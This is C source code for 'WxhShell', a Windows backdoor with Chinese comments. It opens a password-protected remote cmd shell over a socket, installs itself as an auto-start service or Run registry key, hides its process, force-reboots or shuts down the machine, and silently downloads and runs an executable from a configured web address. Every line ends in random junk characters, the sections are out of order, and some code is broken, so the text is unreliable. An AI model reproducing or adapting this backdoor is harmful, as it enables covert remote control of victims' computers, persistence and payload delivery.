  case 'd': { Yj;KKgk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :Xq qhG  
    if(Boot(SHUTDOWN)) W1fEUVj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @@M 2s(  
    else { rOHU)2  
    closesocket(wsh); J'jwRn  
    ExitThread(0); BIqZg$  
    } TCWy^8LA  
    break; F jsnFX;  
    } tJ;<=.n  
  // 获取shell WBvh<wTw;  
  case 's': { ge %ytrst  
    CmdShell(wsh); /}t>o* x  
    closesocket(wsh); p~Di\AQ/  
    ExitThread(0); j51Wod<[  
    break; >+ZBQ]~  
  } FxeDjAP  
  // 退出 e)"] H*  
  case 'x': { ?NkweT(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,T& =*q  
    CloseIt(wsh); QQ;<L"VW  
    break; E{'{fo!#)  
    } '#pY/,hVB  
  // 离开 Myaj81  
  case 'q': { o_R<7o/d|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'RZ=A+%X  
    closesocket(wsh); ;;;aM:6\  
    WSACleanup(); IYAvO%~  
    exit(1); lV924mh  
    break; |, #DB  
        } S{wR Z|8U  
  } #SyF-QZ[1  
  } ^C$Oht,cU  
nK[T.?Nz  
  // 提示信息 PxE0b0eo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8$9Q=M  
} M uz+j.0  
  } @/jLN  
nIc:<w]  
  return; X)6}<A  
} '9d<vW g  
D_kz'0^|  
// shell模块句柄 ML eo3  
int CmdShell(SOCKET sock) g2)jd[GM  
{ vz$-KT4e^  
STARTUPINFO si; YvA@I|..~  
ZeroMemory(&si,sizeof(si)); #x|xL7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RgTm^?Ex  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o^ Z/~N  
PROCESS_INFORMATION ProcessInfo; B"KDr_,,  
char cmdline[]="cmd"; dRC RB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wMc/O g  
  return 0; 4PdJ  
} 6WI-ZEVp&  
P}kBqMM  
// 自身启动模式 5@c/,6l  
int StartFromService(void) n@1;5)&k~  
{ q-? k=RX`  
typedef struct PH!^ww6  
{ (S<Z@y+d  
  DWORD ExitStatus; j<,Ho4v}_  
  DWORD PebBaseAddress; Qk`ykTS!  
  DWORD AffinityMask; iB-h3/  
  DWORD BasePriority; <;eXbO>Q  
  ULONG UniqueProcessId; ;&iZ {  
  ULONG InheritedFromUniqueProcessId; .0ov>4,R  
}   PROCESS_BASIC_INFORMATION; ={'*C7K)oK  
s0D,n1x  
PROCNTQSIP NtQueryInformationProcess; [te9ui%JS  
CB!5>k+mC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H|UGR ~&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M8Tj;ATr  
v$n J$M&k  
  HANDLE             hProcess; pk>p|q  
  PROCESS_BASIC_INFORMATION pbi; EuH[G_5e0  
7tZvz `\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1VXyn\  
  if(NULL == hInst ) return 0; +,8j]<wpo  
b\ P6,s'(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F R57F(31  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $RAS pM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $nf5bo/;  
g#W/WKvM  
  if (!NtQueryInformationProcess) return 0; XEX ."y  
xJcM1>cT>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yiT)m]E d  
  if(!hProcess) return 0; TK! D=M  
uGo tXb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /Ko{S_3< I  
 H8lh.K  
  CloseHandle(hProcess); T{A 5,85  
27"M]17)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7A,QA5G ]C  
if(hProcess==NULL) return 0; n8K FP  
S`w_q=-^8  
HMODULE hMod; h=a-~= 8  
char procName[255]; 9>QGsf.3  
unsigned long cbNeeded; Gl!fT1zh0  
'ptD`)^(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T> < Vw  
]'"aVGqa.  
  CloseHandle(hProcess); 5u:{lcC.X  
4Y'Kjx  
if(strstr(procName,"services")) return 1; // 以服务启动 /7`fg0A  
'gD,H X  
  return 0; // 注册表启动 1J{1>r  
} GS*Mv{JJ  
,)svSzR  
// 主模块 ]QqT.z%B  
int StartWxhshell(LPSTR lpCmdLine) __mnz``/Y  
{ .sqX>sU/]  
  SOCKET wsl; 7>@g)%",  
BOOL val=TRUE; H Z)an  
  int port=0; _x'?igy  
  struct sockaddr_in door; @nNhW  
M9PzA'}4W6  
  if(wscfg.ws_autoins) Install(); Id(wY$C&>  
HNMVs]/e  
port=atoi(lpCmdLine); 4tGP- L  
5eL_iNqJM  
if(port<=0) port=wscfg.ws_port; Qnr7Qnb  
VX'cFqrK3  
  WSADATA data; NA/hs/ '  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L_~vPp  
' K\ $B_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d*cAm$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q@+#CUa&n  
  door.sin_family = AF_INET; $~G=Hcl9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _yH=w'8.  
  door.sin_port = htons(port); +k?0C?/T;  
_+0Q Q{'N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kv8 /UW  
closesocket(wsl); jI%g!  
return 1; Q($.s=&l;  
} Qzh`x-S  
;ND)h pD+  
  if(listen(wsl,2) == INVALID_SOCKET) { v:xfGA nP  
closesocket(wsl); ^_0l(ke  
return 1; Cju%CE3a  
} Jx-dWfe  
  Wxhshell(wsl); ", Ge:\TR=  
  WSACleanup(); uG:xd0X+W  
_oU}>5  
return 0; k6(9Rw8bCk  
4UV6'X)V  
} S!JwF&EW  
uK!G-1   
// 以NT服务方式启动  y5!fbmf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m|8ljXX  
{ 2y;J 11\  
DWORD   status = 0; %fzZpd]v=,  
  DWORD   specificError = 0xfffffff; D,( "3zx  
i,R+C.6{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F,)\\$=,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U%qE=u-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3B^`xnV  
  serviceStatus.dwWin32ExitCode     = 0; kCVO!@yZz  
  serviceStatus.dwServiceSpecificExitCode = 0; Jmcf9g  
  serviceStatus.dwCheckPoint       = 0; "I n[= 2w  
  serviceStatus.dwWaitHint       = 0; ;5.S"  
M~SbIk<#a<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m .':5  
  if (hServiceStatusHandle==0) return; uB*Y}"Fn  
),%(A~\  
status = GetLastError(); -0G/a&ss  
  if (status!=NO_ERROR) $ KAOJc4<  
{ 0^G5 zQlj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xkPH_+4i8  
    serviceStatus.dwCheckPoint       = 0; >`S $(f  
    serviceStatus.dwWaitHint       = 0; ~L55l2u7  
    serviceStatus.dwWin32ExitCode     = status; q2U8]V U)  
    serviceStatus.dwServiceSpecificExitCode = specificError; um}%<Cy[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z<ABK`rEO  
    return; R>#BJ^>=  
  } '^# =,+ A  
V!XT=Ou?6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rd\:.  
  serviceStatus.dwCheckPoint       = 0; iQ7S*s+l5O  
  serviceStatus.dwWaitHint       = 0; 56JvF*hP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G Ch]5\  
} -&UP[Mq  
[]#>r k~  
// 处理NT服务事件,比如:启动、停止 R32A2Ml  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KN\*|)  
{ #J_+ SL[  
switch(fdwControl) L2$`S'UW  
{ BnwYyh  
case SERVICE_CONTROL_STOP: Yfa`}hQ  
  serviceStatus.dwWin32ExitCode = 0; +yO^,{8SE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dF#`_!4pbf  
  serviceStatus.dwCheckPoint   = 0; BJ,D1E  
  serviceStatus.dwWaitHint     = 0; I%#&@  
  { y2=`NG=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O% }EpIP_  
  } K|Kc.   
  return; M0$wTmXM  
case SERVICE_CONTROL_PAUSE: "IE*MmsEz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MjrI0@R  
  break; Pr_$%x9D  
case SERVICE_CONTROL_CONTINUE: a|u&N:v7B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -rXo}I,VI  
  break; A6faRi703  
case SERVICE_CONTROL_INTERROGATE: :rcohzfa  
  break; <Z:Fnp  
}; )u67=0s2i+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <GRplkf`  
} 8+=-!": ]  
>r8$vQGj  
// 标准应用程序主函数 -]$=.0 l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "u=U@1 ^  
{ b>_eD-  
-z6{!  
// 获取操作系统版本 e4rhB"qQdn  
OsIsNt=GetOsVer(); }]K^b1Fs5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ee0}Xv  
`= FDNOwp  
  // 从命令行安装 x4 .Y&Wq#  
  if(strpbrk(lpCmdLine,"iI")) Install(); G0^,@jF?b  
nbf w7u  
  // 下载执行文件 1:Dm, d;  
if(wscfg.ws_downexe) { 48p< ~#<W\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?K9zTas@  
  WinExec(wscfg.ws_filenam,SW_HIDE); l NhX)D^t  
} 079mn/8;  
"eOFp\vPr  
if(!OsIsNt) { G~$[(Fhk  
// 如果时win9x,隐藏进程并且设置为注册表启动 j7u\.xu9  
HideProc(); IJzPWs5W:  
StartWxhshell(lpCmdLine); >^|( AzS  
} AhauNS^"{R  
else [/'=M h  
  if(StartFromService()) WPXLN'w+  
  // 以服务方式启动 jYJRG<*e  
  StartServiceCtrlDispatcher(DispatchTable); )Co&(;zf  
else f0Zn31c^  
  // 普通方式启动 \-eDNwJ:#@  
  StartWxhshell(lpCmdLine); ?x-:JME0  
{DVu* %|  
return 0; Fmo^ ?~b  
} 9u%S<F"  
lAZn0EU  
/GUbc   
s^6"qhTa  
=========================================== xTV3U9 v  
F4$N:J kl  
{=A8kgt  
yD\[`!sWk  
VHlo}Ek<#  
`j1(GQt  
" ?V >{3  
;c;5O@R}3  
#include <stdio.h> \ W.uV[\  
#include <string.h> DuzJQ Sv  
#include <windows.h> Y%"73.x  
#include <winsock2.h> }+3v5Nz;  
#include <winsvc.h> tJgo% P1  
#include <urlmon.h> @Q#<-/  
,'>,N/JA  
#pragma comment (lib, "Ws2_32.lib") 9X%H$>s  
#pragma comment (lib, "urlmon.lib") SRfnT?u6  
Vub ($  
#define MAX_USER   100 // 最大客户端连接数 qQ=\R1l  
#define BUF_SOCK   200 // sock buffer +\@}IKWl-?  
#define KEY_BUFF   255 // 输入 buffer QT[yw6Z  
cq-UVk"Gl  
#define REBOOT     0   // 重启 ujH ^ML  
#define SHUTDOWN   1   // 关机 ,R8:Y*@P  
10`]&v]T  
#define DEF_PORT   5000 // 监听端口 >|!s7.H/J/  
.e|VW)  
#define REG_LEN     16   // 注册表键长度 J3P )oM[  
#define SVC_LEN     80   // NT服务名长度 rM5{R}+;  
gxf{/EjH  
// 从dll定义API %V2A}78  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hErO.ad1o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t.YY?5 l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `:y {  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DuV@^qSbG.  
WY3D.z-</  
// wxhshell配置信息 yWkg4  
struct WSCFG { mO|YX/>  
  int ws_port;         // 监听端口 p%?m|(4f  
  char ws_passstr[REG_LEN]; // 口令 c u:1|gt  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ed$;#4  
  char ws_regname[REG_LEN]; // 注册表键名 L28DBjE)A  
  char ws_svcname[REG_LEN]; // 服务名 64jFbbd-/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O>)Fl42IeD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p.50BcDg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2zQ62t}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CpG]g>]L&[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =MCQNyf+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pjVF^gv,*  
ICxj$b  
}; ,Q>Rt V  
r'5~4'o$  
// default Wxhshell configuration ,y%4QvG7a  
struct WSCFG wscfg={DEF_PORT, @}[yC['  
    "xuhuanlingzhe", t7 ].33%\  
    1, gLGu#6YVu  
    "Wxhshell", (s?Rbd  
    "Wxhshell", 8kA2.pIk  
            "WxhShell Service", ZT'VF~  
    "Wrsky Windows CmdShell Service", 9S8>"w^R  
    "Please Input Your Password: ", 2$OI(7b=  
  1, d=~-8]%\  
  "http://www.wrsky.com/wxhshell.exe", ? ^l{t4  
  "Wxhshell.exe" 52H'aHO1  
    }; b IZuZF>*  
L2GUrf  
// 消息定义模块 ln~;Osb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M}c gVMW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5:r*em  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A\IQM^i  
char *msg_ws_ext="\n\rExit."; EJ&aT etQ  
char *msg_ws_end="\n\rQuit."; nz%{hMNYH  
char *msg_ws_boot="\n\rReboot..."; zUNWcv!& "  
char *msg_ws_poff="\n\rShutdown..."; l%^VBv> 2  
char *msg_ws_down="\n\rSave to "; 0[SJ7k19  
S.Rqu+  
char *msg_ws_err="\n\rErr!"; S( nZ]QEG  
char *msg_ws_ok="\n\rOK!"; g4"0:^/  
 |)'6U3  
char ExeFile[MAX_PATH]; =}h8Cl{H/  
int nUser = 0; ^S]-7>Yyr  
HANDLE handles[MAX_USER]; hnf7Q l}  
int OsIsNt; ,-[e{=Cz  
#Y9'n0 AL  
SERVICE_STATUS       serviceStatus; fP :26pK^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y  c]  
(}jYi*B  
// 函数声明 KOqp@K$  
int Install(void); W:z?w2{VI(  
int Uninstall(void); `5$B"p&i  
int DownloadFile(char *sURL, SOCKET wsh); *RpBKm&^7  
int Boot(int flag); C>bd HB7  
void HideProc(void); tn@MOOP l  
int GetOsVer(void); ^qgOgu  
int Wxhshell(SOCKET wsl); p(J,fus  
void TalkWithClient(void *cs); (Z{&[h  
int CmdShell(SOCKET sock); pD )$O}  
int StartFromService(void); ESQgN+llj  
int StartWxhshell(LPSTR lpCmdLine); V_.n G;  
<R%]9#re  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |5(< Vk=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'tRaF  
Kq. MmR!gl  
// 数据结构和表定义 mxxuD"5  
SERVICE_TABLE_ENTRY DispatchTable[] = &t0toEj  
{ } eL*gy  
{wscfg.ws_svcname, NTServiceMain}, _ U%fD|t  
{NULL, NULL} :j=/>d],%  
}; }% m:^*@$9  
gOnVN6  
// 自我安装 @j vF[wi;  
int Install(void) `tZ-8f  
{ 3$E\B=7/U  
  char svExeFile[MAX_PATH]; 265sNaX  
  HKEY key; #^Io9dA h  
  strcpy(svExeFile,ExeFile); afJ`1l  
WOgPhJ  
// 如果是win9x系统,修改注册表设为自启动 7G^`'oZ  
if(!OsIsNt) { c(tX761qz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E@%X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w)u6J ,  
  RegCloseKey(key); D-GIrw{>5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FSp57W$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eC71;"  
  RegCloseKey(key); m:{ws~   
  return 0; @}Y,A~   
    } <+%#xi/_  
  } k- ?:0  
} 'Itsu~fza  
else { HU='Hk!  
ZV?~~_ 9  
// 如果是NT以上系统,安装为系统服务 ==i:*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .S{Q }S  
if (schSCManager!=0) #UO#kC<2(B  
{ ls<7Qe"a  
  SC_HANDLE schService = CreateService SW^/\cJ^  
  ( p` '8M  
  schSCManager, [nBdq"K  
  wscfg.ws_svcname, S<+/Ep 2  
  wscfg.ws_svcdisp, D02_ Jrg  
  SERVICE_ALL_ACCESS, ;is*[r\|1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?uq7K"B  
  SERVICE_AUTO_START, $xWebz0  
  SERVICE_ERROR_NORMAL, qq)Dh'5*e,  
  svExeFile, -wqnmK+G  
  NULL, D{4Ehr "T  
  NULL, |6mDooTy  
  NULL, pu"`*NL  
  NULL, ~BSE8M+r  
  NULL 6axDuwQ  
  ); b)5z'zQu  
  if (schService!=0) g7-=kmr|V  
  { pX nY=  
  CloseServiceHandle(schService); ~;pv &s5}  
  CloseServiceHandle(schSCManager); R-8/BTls7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1 >nl ]yO  
  strcat(svExeFile,wscfg.ws_svcname);  3e<FlH{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PhS`,I^Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S @EkrC\4n  
  RegCloseKey(key); (Nky?*  
  return 0; T2nbU6H  
    } ~m]sJpW<"  
  } fCA/   
  CloseServiceHandle(schSCManager); X C jYm  
} `@Q%}J  
} g' xR$6t  
k#4%d1O}  
return 1; ON(H7  
} A1zqm_X5)P  
>@2l/x8;  
// 自我卸载 ]aqHk  
int Uninstall(void) J| orvnkK  
{ ?a h<Qf]  
  HKEY key; ?:Y0#Btj  
yAu-BObD  
if(!OsIsNt) { _L6WbRu|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [w%MECTe  
  RegDeleteValue(key,wscfg.ws_regname); $GzTDq Y9@  
  RegCloseKey(key); f PoC yl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YH VJg?H3  
  RegDeleteValue(key,wscfg.ws_regname); hSgfp  
  RegCloseKey(key); !bnuCc  
  return 0; mulK(mp  
  } <&7KcvBn"4  
} ;CU<\  
} sckyG  
else { >uok\sX  
|g5B==KI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k,L,  
if (schSCManager!=0) wW3fsXu  
{ }lzyl*.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f`5e0;zm  
  if (schService!=0)  +X i#y}%  
  { y.AF90Q>)  
  if(DeleteService(schService)!=0) { 8oSndfV  
  CloseServiceHandle(schService); _P!J0  
  CloseServiceHandle(schSCManager); U!:Q|':=h  
  return 0; ubV|s|J  
  } 360V  
  CloseServiceHandle(schService); G<kslTPyq  
  } SRl:+!@.  
  CloseServiceHandle(schSCManager); 6V=69}  
} q$EicH}k8  
} '`q&UPg]  
fF208A7U I  
return 1; ~X^L3=!vf  
} x+zz:^yHYf  
iH& Izv  
// 从指定url下载文件 =,0E]M Z  
int DownloadFile(char *sURL, SOCKET wsh) 5Sd+Cc  
{ }2Y:#{m  
  HRESULT hr; hKw4[wB]  
char seps[]= "/"; :\x)`lu  
char *token; 4,m aA  
char *file; } h|1H  
char myURL[MAX_PATH]; .jRp.U  
char myFILE[MAX_PATH]; 'AN3{  
^)&d7cSc  
strcpy(myURL,sURL); `7qZ6Z3z@  
  token=strtok(myURL,seps); c>~"Z-VtX  
  while(token!=NULL) *TY?*H  
  { oD]tHuDa  
    file=token; <6`_Xr7)  
  token=strtok(NULL,seps);  Hu|;cbK  
  } $:V'+s4o  
q3\ YL?  
GetCurrentDirectory(MAX_PATH,myFILE); 4 2aYM!  
strcat(myFILE, "\\"); !|{T>yy  
strcat(myFILE, file); l5ww-#6Z  
  send(wsh,myFILE,strlen(myFILE),0); (J8 (_MF  
send(wsh,"...",3,0); )Xxu-/-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P.WEu<$  
  if(hr==S_OK) :R+}[|FV  
return 0; {)]5o| Hx  
else ftB-gItV  
return 1; d^sS{m\  
L.XGD|m  
} M<oIo 036  
[V_Z9-f*  
// 系统电源模块 -@{5 u d  
int Boot(int flag) ].=&^0cg  
{ '+LbFGrO3  
  HANDLE hToken; hnag <=  
  TOKEN_PRIVILEGES tkp; -ju&"L B  
| T<t19  
  if(OsIsNt) { ]ovP^]]V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VWqmqR%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q[EpE,  
    tkp.PrivilegeCount = 1; !t/I j~o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +jQHf-l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BH"f\oc  
if(flag==REBOOT) { {2Jo|z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7}>7@W8  
  return 0; 1sgI,5liUs  
} {%W'Zx  
else { 3oX\q/$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JGl0 (i*|  
  return 0; CX/ _\0 G4  
} : p# 5nYi  
  } o ?z A'5q  
  else { ]E/^(T-O  
if(flag==REBOOT) { gXZl3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZoJ_I >uv  
  return 0; 6U|An*  
} h= tzG KI  
else { XS+2OutVo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \\w<.\Yh  
  return 0; WUnz  
} 8NCu;s  
} +/+:D9j ,  
WbF[4 x  
return 1; BMaw]D  
} h=:Ls]ZU  
+9EG6"..@H  
// win9x进程隐藏模块 [_kis  
void HideProc(void) :(7icHa  
{ ->"Z1  
yhTC?sf<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #6okd*^  
  if ( hKernel != NULL ) T$ w`=7  
  { :Y4 m3|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \PU7,*2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pE&'Xr#P>  
    FreeLibrary(hKernel); f%#q}vK-  
  } Qdt4h$~V"  
N{kp^Byim0  
return; &Ul8h,qw  
} dV/ ^@[  
$W_sIS0\z  
// 获取操作系统版本 Xg <R+o  
int GetOsVer(void) 7bk=D~/nSg  
{ N$&)gI:  
  OSVERSIONINFO winfo; T( LlNq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~;)H |R5kV  
  GetVersionEx(&winfo); |FED<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4eD>DW  
  return 1; QYB66g:  
  else T~D2rt\  
  return 0; uv#."_Va  
} )\O;Rt(  
kg/<<RO  
// 客户端句柄模块 8cKP_Ec  
int Wxhshell(SOCKET wsl) n?a?U:  
{ >^!)G^B  
  SOCKET wsh; 6j 2mr6o  
  struct sockaddr_in client; J ?y0R X  
  DWORD myID; Xzn}gH]  
8u|F %Sg  
  while(nUser<MAX_USER) 0(o{V:l%Z|  
{ ] Hiw+5n  
  int nSize=sizeof(client); G*N}X3H:o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ==!k99`f,  
  if(wsh==INVALID_SOCKET) return 1; h85 kQ^%  
i:/Ws1=q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kry^ 47"  
if(handles[nUser]==0) L9} %tEP  
  closesocket(wsh); IIh \ d.o  
else Fo.p}j+>  
  nUser++; 'nQQqx%v  
  } lnQfpa8j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l $:?82{  
qmy3pnL  
  return 0; 4Pv Pp{Y  
} gcI?)F   
/:GeXDJw  
// 关闭 socket jt?DogYx  
void CloseIt(SOCKET wsh) bmP2nD6  
{ 0wE)1w<C~  
closesocket(wsh); O'.sK pXe  
nUser--; xf|vz|J?y  
ExitThread(0); jCK 0+,;  
} 9er0Ww.d  
Of gmJ(%  
// 客户端请求句柄 x\K9|_!  
void TalkWithClient(void *cs) . UaLP  
{ Rm&4Pku  
XF Cwa  
  SOCKET wsh=(SOCKET)cs; hd%O\D?  
  char pwd[SVC_LEN]; cOoF +hz0O  
  char cmd[KEY_BUFF]; k [eWhdSw  
char chr[1]; [,TK"  
int i,j; lU8X{SV!  
N_o|2  
  while (nUser < MAX_USER) { u5I#5  
aS/MlMf  
if(wscfg.ws_passstr) { rp_Aw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c4 bo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4NDT5sL  
  //ZeroMemory(pwd,KEY_BUFF); }!^`%\ %\  
      i=0; t2_pwd*B  
  while(i<SVC_LEN) { B!AJ*  
8;<3Tyjzu  
  // 设置超时 "NvB@>S  
  fd_set FdRead; G_v^IM#B=  
  struct timeval TimeOut; ojbms>a  
  FD_ZERO(&FdRead); i~ITRi@  
  FD_SET(wsh,&FdRead); 7*C>4Gs  
  TimeOut.tv_sec=8; W%P$$x5&  
  TimeOut.tv_usec=0; t2hI^J0y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <d~IdK'\x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F x3X  
b~Un=-@5a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qk_YFR?R  
  pwd=chr[0]; ['_W <  
  if(chr[0]==0xd || chr[0]==0xa) {  CT[CM+  
  pwd=0; JWV n@)s  
  break; |0$7{nQ  
  } `7 3I}%?  
  i++; JrGY`6##p  
    } !n`Y^  
>o4Ih^VB  
  // 如果是非法用户,关闭 socket n_eN|m?@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /c!@ H(^)  
} gxCl=\  
W.7XShwd*2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); il~A(`+YO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jl-:@[;  
,r,$x4*  
while(1) { ;dqu ld+q  
}~!KjFbs  
  ZeroMemory(cmd,KEY_BUFF); k.?@qCs[  
`2a7y]?  
      // 自动支持客户端 telnet标准   f"aqg/l  
  j=0; Jl@YBzDfF  
  while(j<KEY_BUFF) { 4Ixu%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h: Hpz  
  cmd[j]=chr[0]; 4=C7V,a  
  if(chr[0]==0xa || chr[0]==0xd) { 3)3$ L  
  cmd[j]=0; J{r3y&:  
  break; AkA2/7<[  
  } KOit7+Q  
  j++; b>'y[P!  
    } _qjkiKm?1F  
UUR` m  
  // 下载文件 +qee8QH  
  if(strstr(cmd,"http://")) { 5K {{o''  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {(_>A\zi  
  if(DownloadFile(cmd,wsh)) IP+.L]S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *DuP~8  
  else (3QG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !"bU|a  
  } ~pPj   
  else { uU!}/mbo  
}]+k  
